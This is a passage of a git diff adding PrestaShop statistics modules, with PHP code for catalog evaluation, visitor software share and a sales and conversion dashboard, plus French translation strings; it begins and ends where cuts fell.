? 0 : ($row['desclength_'.$description['iso_code']] > Configuration::get('CHECKUP_DESCRIPTIONS_GT') ? 2 : 1)); + $totals['description_'.$description['iso_code']] += $scores['description_'.$description['iso_code']]; + } + $scores['average'] = array_sum($scores) / $divisor; + $scores['average'] = ($scores['average'] < 1 ? 0 : ($scores['average'] > 1.5 ? 2 : 1)); + + $this->html .= ' + + + '; + foreach ($languages as $language) + if (isset($row['desclength_'.$language['iso_code']])) + $this->html .= ''; + else + $this->html .= ''; + $this->html .= ' + + + + + '; + } + + $totals['active'] = $totals['active'] / $totals['products']; + $totals['active'] = ($totals['active'] < 1 ? 0 : ($totals['active'] > 1.5 ? 2 : 1)); + $totals['images'] = $totals['images'] / $totals['products']; + $totals['images'] = ($totals['images'] < 1 ? 0 : ($totals['images'] > 1.5 ? 2 : 1)); + $totals['sales'] = $totals['sales'] / $totals['products']; + $totals['sales'] = ($totals['sales'] < 1 ? 0 : ($totals['sales'] > 1.5 ? 2 : 1)); + $totals['stock'] = $totals['stock'] / $totals['products']; + $totals['stock'] = ($totals['stock'] < 1 ? 0 : ($totals['stock'] > 1.5 ? 2 : 1)); + foreach ($languages as $language) + { + $totals['description_'.$language['iso_code']] = $totals['description_'.$language['iso_code']] / $totals['products']; + $totals['description_'.$language['iso_code']] = ($totals['description_'.$language['iso_code']] < 1 ? 0 : ($totals['description_'.$language['iso_code']] > 1.5 ? 2 : 1)); + } + $totals['average'] = array_sum($totals) / $divisor; + $totals['average'] = ($totals['average'] < 1 ? 0 : ($totals['average'] > 1.5 ? 2 : 1)); + + $this->html .= ' + + + '; + foreach ($languages as $language) + $this->html .= ''; + $this->html .= ' + + + + + + + + '; + foreach ($languages as $language) + $this->html .= ''; + $this->html .= ' + + + + + +
        '.$this->l('ID').''.$this->l('Item').''.$this->l('Active').''.$this->l('Desc.').' ('.strtoupper($language['iso_code']).')'.$this->l('Images').''.$this->l('Sales').''.$this->l('Available quantity for sale').''.$this->l('Global').'
        '.$row['id_product'].''.Tools::substr($row['name'], 0, 42).''.$arrayColors[$scores['active']].''.(int)$row['desclength_'.$language['iso_code']].' '.$arrayColors[$scores['description_'.$language['iso_code']]].'0 '.$arrayColors[0].''.(int)$row['nbImages'].' '.$arrayColors[$scores['images']].''.(int)$row['nbSales'].' '.$arrayColors[$scores['sales']].''.(int)$row['stock'].' '.$arrayColors[$scores['stock']].''.$arrayColors[$scores['average']].'
        '.$this->l('Active').''.$this->l('Desc.').' ('.strtoupper($language['iso_code']).')'.$this->l('Images').''.$this->l('Sales').''.$this->l('Available quantity for sale').''.$this->l('Global').'
        '.$arrayColors[$totals['active']].''.$arrayColors[$totals['description_'.$language['iso_code']]].''.$arrayColors[$totals['images']].''.$arrayColors[$totals['sales']].''.$arrayColors[$totals['stock']].''.$arrayColors[$totals['average']].'
        +
        +
         
        '; + + return $this->html; + } +} \ No newline at end of file diff --git a/modules/statscheckup/translations/en.php b/modules/statscheckup/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statscheckup/translations/fr.php b/modules/statscheckup/translations/fr.php new file mode 100755 index 0000000..6de3e86 --- /dev/null +++ b/modules/statscheckup/translations/fr.php @@ -0,0 +1,31 @@ +statscheckup_e7a908d79d3758c911692ba791da9c70'] = 'Evaluation du catalogue'; +$_MODULE['<{statscheckup}prestashop>statscheckup_24f870376156be0e8e22cfb94d29df6d'] = 'Qualité de votre catalogue en un clin d\'oeil'; +$_MODULE['<{statscheckup}prestashop>statscheckup_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{statscheckup}prestashop>statscheckup_7ff3e75ce6aca348bc513ed3d5882946'] = 'mauvais'; +$_MODULE['<{statscheckup}prestashop>statscheckup_b1897515d548a960afe49ecf66a29021'] = 'moyen'; +$_MODULE['<{statscheckup}prestashop>statscheckup_0c6ad70beb3a7e76c3fc7adab7c46acc'] = 'bon'; +$_MODULE['<{statscheckup}prestashop>statscheckup_619a1efbedc7855aa27c0a50579c104e'] = 'Aucun produit trouvé'; +$_MODULE['<{statscheckup}prestashop>statscheckup_8bc84316c4078bf66723fd019616d920'] = 'Descriptions'; +$_MODULE['<{statscheckup}prestashop>statscheckup_aed2078f8eaaf31e013a3c24618cb130'] = 'caractères (sans HTML)'; +$_MODULE['<{statscheckup}prestashop>statscheckup_fff0d600f8a0b5e19e88bfb821dd1157'] = 'Images'; +$_MODULE['<{statscheckup}prestashop>statscheckup_11ff9f68afb6b8b5b8eda218d7c83a65'] = 'Ventes'; +$_MODULE['<{statscheckup}prestashop>statscheckup_c3917e1f7138a24c6dc954fe81b86679'] = 'commandes / mois'; +$_MODULE['<{statscheckup}prestashop>statscheckup_7bd5825a187064017975513b95d7f7de'] = 'Quantités disponibles à la vente'; +$_MODULE['<{statscheckup}prestashop>statscheckup_9dea4016dbcc290b773ab2fae678aaa8'] = 'articles'; +$_MODULE['<{statscheckup}prestashop>statscheckup_dc270bcf468689b19074a5eef7581b52'] = 'Insuffisant'; +$_MODULE['<{statscheckup}prestashop>statscheckup_f4abc77d498c89880f67331609406774'] = 'Parfait'; +$_MODULE['<{statscheckup}prestashop>statscheckup_ad647e4ae904c7ed54ee93040d8298c7'] = 'inférieur à'; +$_MODULE['<{statscheckup}prestashop>statscheckup_05824b7be006782aaefd1fdb97c71e06'] = 'supérieur à'; +$_MODULE['<{statscheckup}prestashop>statscheckup_38fb7d24e0d60a048f540ecb18e13376'] = 'Sauvegarder'; +$_MODULE['<{statscheckup}prestashop>statscheckup_01fda57aa6c7e9f07f5aa36b108e95cb'] = 'Trier par'; +$_MODULE['<{statscheckup}prestashop>statscheckup_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{statscheckup}prestashop>statscheckup_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{statscheckup}prestashop>statscheckup_7d74f3b92b19da5e606d737d339a9679'] = 'Article'; +$_MODULE['<{statscheckup}prestashop>statscheckup_4d3d769b812b6faa6b76e1a8abaece2d'] = 'Actif'; +$_MODULE['<{statscheckup}prestashop>statscheckup_3f74e68055b1123e5d7deb32cd8b0b1b'] = 'Desc.'; +$_MODULE['<{statscheckup}prestashop>statscheckup_4cc6684df7b4a92b1dec6fce3264fac8'] = 'Global'; diff --git a/modules/statscheckup/translations/index.php b/modules/statscheckup/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statscheckup/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsequipment/index.php b/modules/statsequipment/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/statsequipment/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsequipment/logo.gif b/modules/statsequipment/logo.gif new file mode 100755 index 0000000..98323f9 Binary files /dev/null and b/modules/statsequipment/logo.gif differ diff --git a/modules/statsequipment/logo.png b/modules/statsequipment/logo.png new file mode 100755 index 0000000..40e3ae9 Binary files /dev/null and b/modules/statsequipment/logo.png differ diff --git a/modules/statsequipment/statsequipment.php b/modules/statsequipment/statsequipment.php new file mode 100755 index 0000000..2d586d0 --- /dev/null +++ b/modules/statsequipment/statsequipment.php @@ -0,0 +1,199 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsEquipment extends ModuleGraph +{ + private $html = ''; + private $_query = ''; + private $_query2 = ''; + + public function __construct() + { + $this->name = 'statsequipment'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Software'); + $this->description = $this->l('Display the software used by visitors.'); + } + + public function install() + { + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + /** + * @return array Get list of browser "plugins" (javascript, media player, etc.) + */ + private function getEquipment() + { + $sql = 'SELECT DISTINCT g.* + FROM `'._DB_PREFIX_.'connections` c + LEFT JOIN `'._DB_PREFIX_.'guest` g ON g.`id_guest` = c.`id_guest` + WHERE c.`date_add` BETWEEN '.ModuleGraph::getDateBetween().' + '.Shop::addSqlRestriction(false, 'c'); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->query($sql); + + $calcArray = array( + 'jsOK' => 0, + 'jsKO' => 0, + 'javaOK' => 0, + 'javaKO' => 0, + 'wmpOK' => 0, + 'wmpKO' => 0, + 'qtOK' => 0, + 'qtKO' => 0, + 'realOK' => 0, + 'realKO' => 0, + 'flashOK' => 0, + 'flashKO' => 0, + 'directorOK' => 0, + 'directorKO' => 0 + ); + while ($row = Db::getInstance(_PS_USE_SQL_SLAVE_)->nextRow($result)) + { + if (!$row['javascript']) + { + ++$calcArray['jsKO']; + continue; + } + ++$calcArray['jsOK']; + ($row['windows_media']) ? ++$calcArray['wmpOK'] : ++$calcArray['wmpKO']; + ($row['real_player']) ? ++$calcArray['realOK'] : ++$calcArray['realKO']; + ($row['adobe_flash']) ? ++$calcArray['flashOK'] : ++$calcArray['flashKO']; + ($row['adobe_director']) ? ++$calcArray['directorOK'] : ++$calcArray['directorKO']; + ($row['sun_java']) ? ++$calcArray['javaOK'] : ++$calcArray['javaKO']; + ($row['apple_quicktime']) ? ++$calcArray['qtOK'] : ++$calcArray['qtKO']; + } + + if (!$calcArray['jsOK']) + return false; + + $equip = array( + 'Windows Media Player' => $calcArray['wmpOK'] / ($calcArray['wmpOK'] + $calcArray['wmpKO']), + 'Real Player' => $calcArray['realOK'] / ($calcArray['realOK'] + $calcArray['realKO']), + 'Apple Quicktime' => $calcArray['qtOK'] / ($calcArray['qtOK'] + $calcArray['qtKO']), + 'Sun Java' => $calcArray['javaOK'] / ($calcArray['javaOK'] + $calcArray['javaKO']), + 'Adobe Flash' => $calcArray['flashOK'] / ($calcArray['flashOK'] + $calcArray['flashKO']), + 'Adobe Shockwave' => $calcArray['directorOK'] / ($calcArray['directorOK'] + $calcArray['directorKO']) + ); + arsort($equip); + return $equip; + } + + public function hookAdminStatsModules($params) + { + if (Tools::getValue('export')) + if (Tools::getValue('exportType') == 'browser') + $this->csvExport(array('type' => 'pie', 'option' => 'wb')); + else if (Tools::getValue('exportType') == 'os') + $this->csvExport(array('type' => 'pie', 'option' => 'os')); + + $equipment = $this->getEquipment(); + $this->html = ' +

        '.$this->displayName.'

        +

        '.$this->l('Determine the percentage of web browsers used by customers.').'

        + '.$this->engine(array('type' => 'pie', 'option' => 'wb')).'

        +

        '.$this->l('CSV Export').'

        +

        '.$this->l('Determine the percentage of operating systems used by customers.').'

        + '.$this->engine(array('type' => 'pie', 'option' => 'os')).' +

        '.$this->l('CSV Export').'

        '; + + if ($equipment) + { + $this->html .= ' + '; + foreach ($equipment as $name => $value) + $this->html .= ''; + $this->html .= '
        '.$this->l('Plugins').'
        '.$name.''.number_format(100 * $value, 2).'%
        '; + } + $this->html .= ' +
        +
        +

        '.$this->l('Guide').'

        +

        '.$this->l('Ensure that your website is accessible to all.').'

        +

        + '.$this->l('When managing Websites, it is important to keep track of software used by visitors in order to be sure that the site displays the same way for everyone. + PrestaShop was built in order to be compatible with most recent Web browsers and computer operating systems (OS). + However, because you may end up adding advanced features to your Website or even modify the core PrestaShop code, these additions may not be accessible by everyone. + That is why it is a good idea to keep tabs on the percentage of users for each type of software before adding or changing something that only a limited number of users will be able to access.').' +


        + +
        '; + return $this->html; + } + + public function setOption($option, $layers = 1) + { + switch ($option) + { + case 'wb': + $this->_titles['main'] = $this->l('Web browser used.'); + $this->_query = 'SELECT wb.`name`, COUNT(g.`id_web_browser`) AS total + FROM `'._DB_PREFIX_.'web_browser` wb + LEFT JOIN `'._DB_PREFIX_.'guest` g ON g.`id_web_browser` = wb.`id_web_browser` + LEFT JOIN `'._DB_PREFIX_.'connections` c ON g.`id_guest` = c.`id_guest` + WHERE 1 + '.Shop::addSqlRestriction(false, 'c').' + AND c.`date_add` BETWEEN '; + $this->_query2 = ' GROUP BY g.`id_web_browser`'; + break; + + case 'os': + $this->_titles['main'] = $this->l('Operating system used.'); + $this->_query = 'SELECT os.`name`, COUNT(g.`id_operating_system`) AS total + FROM `'._DB_PREFIX_.'operating_system` os + LEFT JOIN `'._DB_PREFIX_.'guest` g ON g.`id_operating_system` = os.`id_operating_system` + LEFT JOIN `'._DB_PREFIX_.'connections` c ON g.`id_guest` = c.`id_guest` + WHERE 1 + '.Shop::addSqlRestriction(false, 'c').' + AND c.`date_add` BETWEEN '; + $this->_query2 = ' GROUP BY g.`id_operating_system`'; + break; + } + } + + protected function getData($layers) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate().$this->_query2); + $this->_values = array(); + $i = 0; + foreach ($result as $row) + { + $this->_values[$i] = $row['total']; + $this->_legend[$i++] = $row['name']; + } + } +} + + diff --git a/modules/statsequipment/translations/en.php b/modules/statsequipment/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/statsequipment/translations/fr.php b/modules/statsequipment/translations/fr.php new file mode 100755 index 0000000..cc179d0 --- /dev/null +++ b/modules/statsequipment/translations/fr.php @@ -0,0 +1,15 @@ +statsequipment_719d067b229178f03bcfa1da4ac4dede'] = 'Equipement'; +$_MODULE['<{statsequipment}prestashop>statsequipment_236d6d0b5cc4428f346c235e0c60faaa'] = 'Affiche l\'équipement de vos visiteurs.'; +$_MODULE['<{statsequipment}prestashop>statsequipment_d36312e9992d0b03780a32fedd6650b7'] = 'Déterminez la répartition des navigateurs web utilisés par vos clients.'; +$_MODULE['<{statsequipment}prestashop>statsequipment_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{statsequipment}prestashop>statsequipment_c560add3373d03ea2723069fb428719a'] = 'Déterminez la répartition des systèmes d\'exploitation utilisés par vos clients.'; +$_MODULE['<{statsequipment}prestashop>statsequipment_bb38096ab39160dc20d44f3ea6b44507'] = 'Extensions'; +$_MODULE['<{statsequipment}prestashop>statsequipment_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{statsequipment}prestashop>statsequipment_501361472d0528ee07f202297f599d40'] = 'Veillez à ce que votre site soit accessible à tous'; +$_MODULE['<{statsequipment}prestashop>statsequipment_ef83f5147398f2735fddfaac983983d7'] = 'Navigateurs utilisés'; +$_MODULE['<{statsequipment}prestashop>statsequipment_0a66f998cfad4890a14c9b9a1df8deb3'] = 'Systèmes d\'exploitation utilisés'; diff --git a/modules/statsequipment/translations/index.php b/modules/statsequipment/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/statsequipment/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsforecast/funnel.png b/modules/statsforecast/funnel.png new file mode 100755 index 0000000..2213a2b Binary files /dev/null and b/modules/statsforecast/funnel.png differ diff --git a/modules/statsforecast/index.php b/modules/statsforecast/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/statsforecast/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/statsforecast/logo.gif b/modules/statsforecast/logo.gif new file mode 100755 index 0000000..8ff27b4 Binary files /dev/null and b/modules/statsforecast/logo.gif differ diff --git a/modules/statsforecast/logo.png b/modules/statsforecast/logo.png new file mode 100755 index 0000000..3a840e6 Binary files /dev/null and b/modules/statsforecast/logo.png differ diff --git a/modules/statsforecast/next.png b/modules/statsforecast/next.png new file mode 100755 index 0000000..e252606 Binary files /dev/null and b/modules/statsforecast/next.png differ diff --git a/modules/statsforecast/statsforecast.php b/modules/statsforecast/statsforecast.php new file mode 100755 index 0000000..23b3f4c --- /dev/null +++ b/modules/statsforecast/statsforecast.php @@ -0,0 +1,586 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class StatsForecast extends Module +{ + private $_html = ''; + private $t1 = 0; + private $t2 = 0; + private $t3 = 0; + private $t4 = 0; + private $t5 = 0; + private $t6 = 0; + private $t7 = 0; + private $t8 = 0; + + public function __construct() + { + $this->name = 'statsforecast'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Stats Dashboard'); + $this->description = ''; + } + + public function install() + { + return (parent::install() && $this->registerHook('AdminStatsModules')); + } + + public function getContent() + { + Tools::redirectAdmin('index.php?controller=AdminStats&module=statsforecast&token='.Tools::getAdminTokenLite('AdminStats')); + } + + public function hookAdminStatsModules() + { + $ru = AdminController::$currentIndex.'&module='.$this->name.'&token='.Tools::getValue('token'); + + $db = Db::getInstance(); + + if (!isset($this->context->cookie->stats_granularity)) + $this->context->cookie->stats_granularity = 10; + if (Tools::isSubmit('submitIdZone')) + $this->context->cookie->stats_id_zone = (int)Tools::getValue('stats_id_zone'); + if (Tools::isSubmit('submitGranularity')) + $this->context->cookie->stats_granularity = Tools::getValue('stats_granularity'); + + $currency = $this->context->currency; + $employee = $this->context->employee; + + $from = max(strtotime(_PS_CREATION_DATE_.' 00:00:00'), strtotime($employee->stats_date_from.' 00:00:00')); + $to = strtotime($employee->stats_date_to.' 23:59:59'); + $to2 = min(time(), $to); + $interval = ($to - $from) / 60 / 60 / 24; + $interval2 = ($to2 - $from) / 60 / 60 / 24; + $prop30 = $interval / $interval2; + + if ($this->context->cookie->stats_granularity == 7) + $intervalAvg = $interval2 / 30; + if ($this->context->cookie->stats_granularity == 4) + $intervalAvg = $interval2 / 365; + if ($this->context->cookie->stats_granularity == 10) + $intervalAvg = $interval2; + if ($this->context->cookie->stats_granularity == 42) + $intervalAvg = $interval2 / 7; + + $dataTable = array(); + if ($this->context->cookie->stats_granularity == 10) + for ($i = $from; $i <= $to2; $i = strtotime('+1 day', $i)) + $dataTable[date('Y-m-d', $i)] = array('fix_date' => date('Y-m-d', $i), 'countOrders' => 0, 'countProducts' => 0, 'totalSales' => 0); + + $dateFromGAdd = ($this->context->cookie->stats_granularity != 42 + ? 'LEFT(date_add, '.(int)$this->context->cookie->stats_granularity.')' + : 'IFNULL(MAKEDATE(YEAR(date_add),DAYOFYEAR(date_add)-WEEKDAY(date_add)), CONCAT(YEAR(date_add),"-01-01*"))'); + + $dateFromGInvoice = ($this->context->cookie->stats_granularity != 42 + ? 'LEFT(invoice_date, '.(int)$this->context->cookie->stats_granularity.')' + : 'IFNULL(MAKEDATE(YEAR(invoice_date),DAYOFYEAR(invoice_date)-WEEKDAY(invoice_date)), CONCAT(YEAR(invoice_date),"-01-01*"))'); + + $result = $db->query(' + SELECT + '.$dateFromGInvoice.' as fix_date, + COUNT(*) as countOrders, + SUM((SELECT SUM(od.product_quantity) FROM '._DB_PREFIX_.'order_detail od WHERE o.id_order = od.id_order)) as countProducts, + SUM(o.total_paid_tax_excl / o.conversion_rate) as totalSales + FROM '._DB_PREFIX_.'orders o + WHERE o.valid = 1 + AND o.invoice_date BETWEEN '.ModuleGraph::getDateBetween().' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + GROUP BY '.$dateFromGInvoice); + while ($row = $db->nextRow($result)) + $dataTable[$row['fix_date']] = $row; + + $this->_html .= '
        +
        +

        '.$this->displayName.'

        +

        '.$this->l('All amounts listed do not include tax.').'

        +
        + + '.$this->l('Mode:').' +
        + + + + + + + + + + + + '; + + $visitArray = array(); + $sql = 'SELECT '.$dateFromGAdd.' as fix_date, COUNT(*) as visits + FROM '._DB_PREFIX_.'connections c + WHERE c.date_add BETWEEN '.ModuleGraph::getDateBetween().' + '.Shop::addSqlRestriction(false, 'c').' + GROUP BY '.$dateFromGAdd; + $visits = Db::getInstance()->query($sql); + while ($row = $db->nextRow($visits)) + $visitArray[$row['fix_date']] = $row['visits']; + + $today = date('Y-m-d'); + foreach ($dataTable as $row) + { + $visitsToday = (int)(isset($visitArray[$row['fix_date']]) ? $visitArray[$row['fix_date']] : 0); + + $dateFromGReg = ($this->context->cookie->stats_granularity != 42 + ? 'LIKE \''.$row['fix_date'].'%\'' + : 'BETWEEN \''.substr($row['fix_date'], 0, 10).' 00:00:00\' AND DATE_ADD(\''.substr($row['fix_date'], 0, 8).substr($row['fix_date'], 8, 2).' 23:59:59\', INTERVAL 7 DAY)'); + $row['registrations'] = Db::getInstance()->getValue(' + SELECT COUNT(*) FROM '._DB_PREFIX_.'customer + WHERE date_add BETWEEN '.ModuleGraph::getDateBetween().' + AND date_add '.$dateFromGReg + .Shop::addSqlRestriction(Shop::SHARE_CUSTOMER)); + + $this->_html .= ' + + + + + + + + + + '; + + $this->t1 += $visitsToday; + $this->t2 += (int)($row['registrations']); + $this->t3 += (int)($row['countOrders']); + $this->t4 += (int)($row['countProducts']); + $this->t8 += $row['totalSales']; + } + + $this->_html .= ' + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        '.$this->l('Visits').''.$this->l('Reg.').''.$this->l('orders').''.$this->l('Items').''.$this->l('% Reg.').''.$this->l('% Orders').''.$this->l('Sales').'
        '.$row['fix_date'].''.$visitsToday.''.(int)($row['registrations']).''.(int)($row['countOrders']).''.(int)($row['countProducts']).''.($visitsToday ? round(100 * (int)($row['registrations']) / $visitsToday, 2).' %' : '-').''.($visitsToday ? round(100 * (int)($row['countOrders']) / $visitsToday, 2).' %' : '-').''.Tools::displayPrice($row['totalSales'], $currency).'
        '.$this->l('Visits').''.$this->l('Reg.').''.$this->l('orders').''.$this->l('Items').''.$this->l('% Reg.').''.$this->l('% Orders').''.$this->l('Sales').'
        '.$this->l('Total').''.(int)($this->t1).''.(int)($this->t2).''.(int)($this->t3).''.(int)($this->t4).'----'.Tools::displayPrice($this->t8, $currency).'
        '.$this->l('Average').''.(int)($this->t1 / $intervalAvg).''.(int)($this->t2 / $intervalAvg).''.(int)($this->t3 / $intervalAvg).''.(int)($this->t4 / $intervalAvg).''.($this->t1 ? round(100 * $this->t2 / $this->t1, 2) .' %' : '-').''.($this->t1 ? round(100 * $this->t3 / $this->t1, 2) .' %' : '-').''.Tools::displayPrice($this->t8 / $intervalAvg, $currency).'
        '.$this->l('Forecast').''.(int)($this->t1 * $prop30).''.(int)($this->t2 * $prop30).''.(int)($this->t3 * $prop30).''.(int)($this->t4 * $prop30).'----'.Tools::displayPrice($this->t8 * $prop30, $currency).'
        +
        '; + + $ca = $this->getRealCA(); + + $sql = 'SELECT COUNT(DISTINCT c.id_guest) + FROM '._DB_PREFIX_.'connections c + WHERE c.date_add BETWEEN '.ModuleGraph::getDateBetween() + .Shop::addSqlRestriction(false, 'c'); + $visitors = Db::getInstance()->getValue($sql); + + $sql = 'SELECT COUNT(DISTINCT g.id_customer) + FROM '._DB_PREFIX_.'connections c + INNER JOIN '._DB_PREFIX_.'guest g ON c.id_guest = g.id_guest + WHERE g.id_customer != 0 + AND c.date_add BETWEEN '.ModuleGraph::getDateBetween() + .Shop::addSqlRestriction(false, 'c'); + $customers = Db::getInstance()->getValue($sql); + + $sql = 'SELECT COUNT(*) + FROM '._DB_PREFIX_.'cart + WHERE id_cart IN ( + SELECT id_cart FROM '._DB_PREFIX_.'cart_product + ) AND ( + date_add BETWEEN '.ModuleGraph::getDateBetween().' OR date_upd BETWEEN '.ModuleGraph::getDateBetween().' + )'.Shop::addSqlRestriction(); + $carts = Db::getInstance()->getValue($sql); + + $sql = 'SELECT COUNT(*) + FROM '._DB_PREFIX_.'cart + WHERE id_cart IN ( + SELECT id_cart FROM '._DB_PREFIX_.'cart_product + ) AND id_address_invoice != 0 + AND ( + date_add BETWEEN '.ModuleGraph::getDateBetween().' OR date_upd BETWEEN '.ModuleGraph::getDateBetween().' + )'.Shop::addSqlRestriction(); + $fullcarts = Db::getInstance()->getValue($sql); + + $sql = 'SELECT COUNT(*) + FROM '._DB_PREFIX_.'orders o + WHERE o.valid = 1 + AND o.date_add BETWEEN '.ModuleGraph::getDateBetween() + .Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o'); + $orders = Db::getInstance()->getValue($sql); + + $this->_html .= '
        +

        '.$this->l('Conversion').'

        +
        + +
        + '.$this->l('Visitors').'
        '.$visitors.'
        + +
        '.round(100 * $customers / max(1, $visitors)).' %
        +
        '.round(100 * $carts / max(1, $visitors)).' % +
        + + '.$this->l('Accounts').'
        '.$customers.'
        + '.$this->l('Carts').'
        '.$carts.' +
        + +
        '.round(100 * $fullcarts / max(1, $customers)).' %
        +
        '.round(100 * $fullcarts / max(1, $carts)).' %
        +
        + '.$this->l('Full carts').'
        '.$fullcarts.'
        +
        '.round(100 * $orders / max(1, $fullcarts)).' %
        + '.$this->l('orders').'
        '.$orders.'
        +
        + +
        +
        + '.$this->l('Registered visitors').' + + '.round(100 * $orders / max(1, $customers), 2).' % + + '.$this->l('orders').' +
        +
        +
        + '.$this->l('Visitors').' + + '.round(100 * $orders / max(1, $visitors), 2).' % + + '.$this->l('orders').' +
        +
        +

        + '.$this->l('Turn your visitors into money:').' +
        '.$this->l('Each visitor yields').' '.Tools::displayPrice($ca['ventil']['total'] / max(1, $visitors), $currency).'. +
        '.$this->l('Each registered visitor yields').' '.Tools::displayPrice($ca['ventil']['total'] / max(1, $customers), $currency).'. +

        +
        '; + + $from = strtotime($employee->stats_date_from.' 00:00:00'); + $to = strtotime($employee->stats_date_to.' 23:59:59'); + $interval = ($to - $from) / 60 / 60 / 24; + $prop5000 = 5000 / 30 * $interval; + + $this->_html .= ' +
        '; + $this->_html .= ' +
        +

        '.$this->l('Payment distribution').'

        +

        '.$this->l('The amounts are with taxes, so you can get an estimation of the commission due to the payment method.').'

        +
        + + '.$this->l('Zone:').' +
        + + '; + foreach ($ca['payment'] as $payment) + $this->_html .= ' + + + + + + '; + $this->_html .= ' +
        '.$this->l('Module').''.$this->l('Count').''.$this->l('Total').''.$this->l('Cart').'
        '.$payment['payment_method'].''.(int)$payment['nb'].''.Tools::displayPrice($payment['total'], $currency).''.Tools::displayPrice($payment['cart'], $currency).'
        +
        +
        +

        '.$this->l('Category distribution').'

        +
        + + '.$this->l('Zone:').' +
        + + '; + foreach ($ca['cat'] as $catrow) + $this->_html .= ' + + + + + + + + '; + $this->_html .= ' +
        '.$this->l('Category').''.$this->l('Count').''.$this->l('Sales').''.$this->l('% Count').''.$this->l('% Sales').''.$this->l('Avgerage price').'
        '.(empty($catrow['name']) ? $this->l('Unknown') : $catrow['name']).''.$catrow['orderQty'].''.Tools::displayPrice($catrow['orderSum'], $currency).''.number_format((100 * $catrow['orderQty'] / $this->t4), 1, '.', ' ').'%'.((int)$ca['ventil']['total'] ? number_format((100 * $catrow['orderSum'] / $ca['ventil']['total']), 1, '.', ' ') : '0').'%'.Tools::displayPrice($catrow['priveAvg'], $currency).'
        +
        +
        +

        '.$this->l('Language distribution').'

        + + '; + foreach ($ca['lang'] as $ophone => $amount) + { + $percent = (int)($ca['langprev'][$ophone]) ? number_format((100 * $amount / $ca['langprev'][$ophone]) - 100, 1, '.', ' ') : '∞'; + $this->_html .= ' + + + + + + + '; + } + $this->_html .= ' +
        '.$this->l('customers').''.$this->l('Sales').''.$this->l('%').''.$this->l('Growth').'
        '.$ophone.''.Tools::displayPrice($amount, $currency).''.((int)$ca['ventil']['total'] ? number_format((100 * $amount / $ca['ventil']['total']), 1, '.', ' ').'%' : '-').''.(($percent > 0 OR $percent == '∞') ? '' : ' ').''.(($percent > 0 OR $percent == '∞') ? '+' : '').$percent.'%
        +
        +
        +

        '.$this->l('Zone distribution').'

        + + '; + foreach ($ca['zones'] as $zone) + $this->_html .= ' + + + + + + + '; + $this->_html .= ' +
